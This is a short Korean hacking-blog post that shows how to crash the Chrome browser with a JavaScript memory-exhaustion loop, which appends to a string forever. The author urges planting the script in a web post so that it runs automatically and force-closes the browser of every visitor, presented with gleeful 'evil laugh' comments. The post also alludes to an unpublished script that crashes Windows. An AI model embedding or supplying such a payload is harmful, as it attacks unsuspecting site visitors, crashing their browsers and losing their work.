본문 바로가기

Hacking/Web Hacking-

[Web Hacking] Chrome을 스크립트를 이용하여 강제 종료 시켜봅시다.

이번에는 IE가 아닌 많은 분들이 사용하는 Chrome 의 취약점을 이용하여 


IE와 마찬가지로 강제종료 시켜 볼 예정입니다.


IE는 바로 종료되지만


Chrome 은 5분~15분간의 딜레이를 두기 때문에 한번 강제종료되면 


손 쓸 도리가 없습니다.


거기다가 IE에서 접속 할 시에는 Window 시스템이 에러가 나버리는 스크립트도 있으나


이건 공개하지 않겠습니다.


아래와 같은 구문을 콘솔에서 입력하면


크롬이 에러가 납니다.


마찬가지로 특정 게시물 접속시 아래와 같은 스크립트를 JS 또는 파일로 만들어서


자동 실행 되게 하면 


크롬을 사용하는 모든 사용자들은 강제종료 됩니다.


txt = "a";
while(1)
{
    txt = txt += "a";    //add as much as the browser can handle
}
//<i>[evil laugh]</i> BOOM! All memory used up, and it is now <b>CRASHED</b>!